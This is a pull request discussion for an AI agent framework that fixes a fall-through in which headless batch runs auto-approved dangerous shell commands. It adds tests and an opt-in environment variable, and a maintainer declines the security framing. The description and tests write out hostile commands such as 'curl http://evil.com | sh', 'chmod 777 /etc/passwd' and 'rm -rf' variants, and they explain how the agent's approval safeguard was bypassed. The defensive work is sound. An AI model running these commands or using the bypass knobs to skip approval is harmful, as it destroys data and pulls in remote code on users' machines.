fix(security): close Dangerous Command Approval Bypass in batch_runner.py (#29159, GHSA-7gp4-gfvg-4mpj)#29307
Conversation
…ousResearch#29159) GHSA-7gp4-gfvg-4mpj — ``check_dangerous_command`` ended its non-CLI / non-gateway branch with a bare ``return {"approved": True}`` fall-through. Anything that wasn't a TTY, a gateway adapter, or a cron session — most notably ``batch_runner.py`` running ``AIAgent``, but also scripted embedded usage and ad-hoc library callers — silently bypassed every dangerous-command approval prompt. ``rm -rf /tmp/important``, ``chmod 777 /etc/passwd``, ``curl … | sh`` and friends all sailed straight through. Fail closed by default for headless contexts. Operators who do want a permissive batch run can opt in explicitly: * ``HERMES_HEADLESS_APPROVE=1`` — new, narrow knob: "this process is headless on purpose, run dangerous patterns through". Scoped to one process; never written back into config. * ``HERMES_YOLO_MODE=1`` / per-session ``/yolo`` — the existing blanket bypass, already short-circuited above this code path. Hardline patterns (``rm -rf /``, ``mkfs``, ``dd`` to a raw device, ``shutdown``/``reboot``, fork bombs, ``kill -1``) still get blocked unconditionally regardless of opt-in, matching the existing yolo floor. The cron branch is restructured to keep its own ``return`` so the ``cron_mode == approve`` path still returns ``approved: True`` exactly as before — no behaviour change for cron jobs. The deny message points users at the new env var and the advisory ID so ``batch_runner`` failures are self-explanatory.
…ch#29159) Regression coverage for GHSA-7gp4-gfvg-4mpj — the Dangerous Command Approval Bypass in ``batch_runner.py``. New file ``tests/tools/test_headless_approval_bypass.py`` exercises the exact context ``batch_runner.py`` runs in (no CLI TTY, no gateway adapter, no cron, no yolo) and pins: * ``rm -rf /tmp/x``, ``chmod 777 /etc/passwd``, ``curl … | sh``, and ``bash -c 'echo pwned'`` all DENY by default — the very bypass the advisory called out. * Block message includes ``HERMES_HEADLESS_APPROVE`` and ``GHSA-7gp4-gfvg-4mpj`` so operators can self-serve diagnosis. * Block response carries ``pattern_key`` + ``description`` so the batch runner's failure log explains WHY. * ``check_all_command_guards`` mirrors the deny — half-fixing one guard would still leave the bypass open. * The new ``HERMES_HEADLESS_APPROVE`` env var accepts ``1 / true / yes / on`` (case-insensitive), rejects ``0 / false / no / ""``, cannot override the hardline floor, and yolo still works as the blanket bypass. * Cron behaviour (deny and approve) and container envs (docker / modal / daytona / singularity) are unchanged — no NousResearch#29005-style collateral damage. Two existing tests were pinning the old insecure behaviour and needed to flip: * ``test_cron_approval_mode.py::test_non_cron_non_interactive_still_auto_approves`` asserted ``approved is True`` for the exact headless context the advisory exploits. Renamed to ``..._fails_closed`` and updated to require the BLOCKED message plus the opt-in env var hint. * ``test_approval_isolation.py::test_interactive_env_var_routes_to_callback`` asserted ``approved is True`` for the no-interactive branch and pointed at GHSA-96vc-wcxf-jjff in the comments — the same shape of bypass. Flipped to ``approved is False`` while keeping the "callback NOT consulted in headless mode" invariant intact, so the HERMES_INTERACTIVE-set half of the test still covers the ACP routing it was designed to lock down.
Cross-reference the new env var introduced by the GHSA-7gp4-gfvg-4mpj fix from the environment-variables reference so operators running ``batch_runner.py`` or scripted ``AIAgent`` embeds can find the opt-in path without spelunking through the approval source.
|
Autofix update for the failing Supply Chain Audit: The failure is a stale-branch false positive. The workflow scans I could not push directly to Local verification on that branch: |
|
Thanks for building this, @xxxigm — it's a clean, well-tested fix with a sensible opt-in ( Briefly: We're deliberately not landing this as a "security fix" because doing so would retroactively frame a declined, out-of-scope item as a vulnerability. If you'd like to propose a headless approval-policy knob as a non-security usability/defense-in-depth feature (mirroring |
batch_runner.py via Insecure Default Fallback
#35164
What does this PR do?
Closes the Dangerous Command Approval Bypass advisory
GHSA-7gp4-gfvg-4mpjagainstbatch_runner.py(tracked publicly as #29159).tools/approval.py::check_dangerous_commandended its non-CLI / non-gateway branch with a barereturn {"approved": True}fall-through. Anything that wasn't a TTY (HERMES_INTERACTIVE), a gateway adapter (HERMES_GATEWAY_SESSION/ contextvar platform), or a cron session — most notablybatch_runner.pyrunningAIAgentend-to-end, but also scripted embedded usage and ad-hoc library callers — silently bypassed every dangerous-command approval prompt.rm -rf /tmp/important,chmod 777 /etc/passwd,curl http://evil.com | sh,bash -c '…'and friends all sailed straight through. The exact same fall-through existed in the combinedcheck_all_command_guards, so the bypass survived a partial review.There was even a
tests/tools/test_cron_approval_mode.py::test_non_cron_non_interactive_still_auto_approvestest pinning the insecure behaviour as a "feature", andtests/acp/test_approval_isolation.py::test_interactive_env_var_routes_to_callbackdid the same against the combined guard (referencing GHSA-96vc-wcxf-jjff, the prior ACP-shaped bypass). Both are flipped in this PR.Fix: fail closed by default for headless contexts. Operators who genuinely want a permissive batch run opt in explicitly:
HERMES_HEADLESS_APPROVE=1— new, narrow knob: "this process is headless on purpose, run dangerous patterns through". Scoped to one process; never written back into config; case-insensitive truthy values (1/true/yes/on).HERMES_YOLO_MODE=1/ per-session/yolo— the existing blanket bypass, already short-circuited above this code path and untouched.Hardline patterns (
rm -rf /,mkfs,ddto a raw device,shutdown/reboot, fork bombs,kill -1) still block unconditionally regardless of opt-in — matches the existing yolo floor.The cron branch is restructured to keep its own
returnso thecron_mode == approvepath still returnsapproved: Trueexactly as before — no behaviour change for cron jobs (no #29005-style collateral damage). Container envs (docker/singularity/modal/daytona/vercel_sandbox) still auto-approve at the top of the function.Related Issue
Fixes #29159 (GHSA-7gp4-gfvg-4mpj).
Type of Change
Changes Made
tools/approval.py(+46/-5):check_dangerous_command: the non-CLI / non-gateway branch now restructures the cron path socron_mode == approvestill returnsapproved: True, and adds an explicit headless deny —HERMES_HEADLESS_APPROVE=1opts back in to permissive execution, otherwise the response carriesapproved: False,pattern_key,description, and aBLOCKED:message naming both the opt-in env var and the GHSA id so operators can self-diagnose from a single log line.check_all_command_guards: same restructure; delegates the headless decision tocheck_dangerous_commandso the two guards never diverge again (half-fixing one would leave the bypass open).tests/tools/test_headless_approval_bypass.py(+170, new) — 14 regression tests across 3 classes:TestHeadlessFailsClosed(5 cases) —rm -rf /tmp/x,chmod 777 /etc/passwd,curl … | sh,bash -c '…'all DENY in the exact batch-runner context the advisory exploits; block message namesHERMES_HEADLESS_APPROVE+GHSA-7gp4-gfvg-4mpj; block response carriespattern_key+description; benign commands still flow;check_all_command_guardsmirrors the deny.TestHeadlessOptIn(5 cases, multi-parametrised) —HERMES_HEADLESS_APPROVEaccepts truthy1 / true / yes / on / TRUE / YES, rejects falsy0 / false / no / "", yolo still works, hardline patterns still block under the new opt-in.TestExistingBranchesUnchanged(3 cases) — cron deny still blocks with the cron_mode message, cron approve still allows, container envs still auto-approve at the top of the function.tests/tools/test_cron_approval_mode.py(+13/-2) — renamedtest_non_cron_non_interactive_still_auto_approves→test_non_cron_non_interactive_fails_closed, flipped to requireBLOCKED+ the new opt-in env var hint. Was pinning the insecure behaviour as a feature.tests/acp/test_approval_isolation.py(+6/-5) —test_interactive_env_var_routes_to_callbackwas pinning the same bypass via the combined guard while citing GHSA-96vc-wcxf-jjff in its own comments. Flipped toapproved is False, kept the "callback NOT consulted in headless mode" invariant intact so the second half (withHERMES_INTERACTIVE=1) still covers ACP routing.website/docs/reference/environment-variables.md(+1) — documentsHERMES_HEADLESS_APPROVEnext toHERMES_YOLO_MODEwith a pointer to the advisory.Backwards compatible for every legitimate path:
HERMES_INTERACTIVE)submit_pendingsubmit_pending(unchanged)cron_mode=denycron_mode=approveHERMES_YOLO_MODE=1HERMES_HEADLESS_APPROVE=1How to Test
Manual repro of the bypass (pre-fix), now a hard deny:
And the explicit opt-in path is still available for batch operators who need it:
Checklist
Code
fix(approval): …,test(approval): …,docs(env): …)scripts/run_tests.sh tests/tools/test_headless_approval_bypass.pyand all tests passDocumentation & Housekeeping
website/docs/reference/environment-variables.md)cli-config.yaml.exampleif I added/changed config keys — N/A (env-only opt-in, intentionally not persisted to YAML)CONTRIBUTING.mdorAGENTS.mdif I changed architecture or workflows — N/Aenv_var_enabled+ the approval pipeline are platform-agnostic; fix reachable on every OS that runsbatch_runnerScreenshots / Logs